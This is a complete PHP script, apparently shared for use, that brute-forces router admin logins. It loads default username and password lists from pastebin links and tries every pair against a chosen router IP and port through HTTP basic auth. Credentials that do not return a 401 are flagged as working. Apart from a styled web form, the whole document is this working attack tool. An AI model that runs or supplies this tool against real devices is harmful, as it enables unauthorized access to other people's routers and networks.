Wifi & Router BruteForce From Default Passwords

<?php
#################################################
# Wifi & Router Brute Force
# CODED BY H4T3D
#Changing Name Wont Make You l33t -_-
#See Steps >> https://www.youtube.com/watch?v=m9AdASOOOo4
#################################################
set_time_limit(0);
echo "
<head>
<form method='POST' action=''>
</head>
<style>

html {
  background: url(http://i688.photobucket.com/albums/vv248/RuneMeyamoto/blue-matrix-animated.gif);
}


textarea {
        resize:none;
        color: #1975FF ;
        border:1px solid #1975FF ;
        border-left: 4px solid #1975FF ;
}
input {
        color: ##33CCFF;
        border:1px dotted #33CCFF;
}

.statusbox-green {
    background-color: #336633;
    border: solid 1px #33ff33;
    padding: 3px;
    color: #33ff33;
    border-radius: 4px;
}


</style>";
echo "
<center>
<img src=\"http://i.picasion.com/gl/80/54v1.gif\"><br></br>
Routers Ip : <input type='text' name='router' value='192.168.1.1'/>
Port: <input type='text' name='port' value='80' size='4'>
</center>
<p dir='ltr' align='center'>
<textarea cols='30' class='area'  rows='30' name='username'>";$homepage = file_get_contents('http://pastebin.com/raw.php?i=TeJ5sx0k');echo $homepage;echo"</textarea>
<textarea cols='30' class='area'  rows='30' name='password'>";$homepage = file_get_contents('http://pastebin.com/raw.php?i=MMKduBt8');echo $homepage;echo"</textarea>
<br>
<br>
<input type='submit' name='scan' value='Start'><br></p>";
if(isset($_POST['scan']))

{

function brute($user,$pass,$router,$port)
{

static $counter=0;

$url = "http://".$user.":".$pass."@".$router.":".$port;


$headers = @get_headers($url);
if(strpos($headers[0],'401') === false)
{
$counter++;
 echo $counter."#<div id=\"content1_pnlStatus\" class=\"statusbox-green\"><p align='center' dir='ltr'><font face='Times New Roman'>This Password Seems Working ! :)  Username : $user &nbsp; Password : $pass</p></div>";
flush();@ob_flush();
}
else
{
$counter++;
 echo "<p align='center' dir='ltr'><font face='Times New Roman' color='white'>".$counter."# [IN CORRECT] Username : <font color='red'>$user</font>&nbsp;  Password : <font color='red'>$pass</font></font></p>";
flush();@ob_flush();
}
}// end of function

 $router=$_POST["router"];
 $port=$_POST["port"];
 $username = explode("\n", $_POST['username']);
 $password = explode("\n", $_POST['password']);

echo "<fieldset><legend>RESULT:</legend>";
foreach($username as $users) {
        $users = @trim($users);
        foreach($password as $pass) {
                $pass = @trim($pass);


echo brute($users,$pass,$router,$port);


        }


}

echo"<fieldset/>";


} // scan end

?>
<footer>
<center>
<font color='lightblue'><h3>Coded By : H4T3D</font></h3>
</center>
</footer>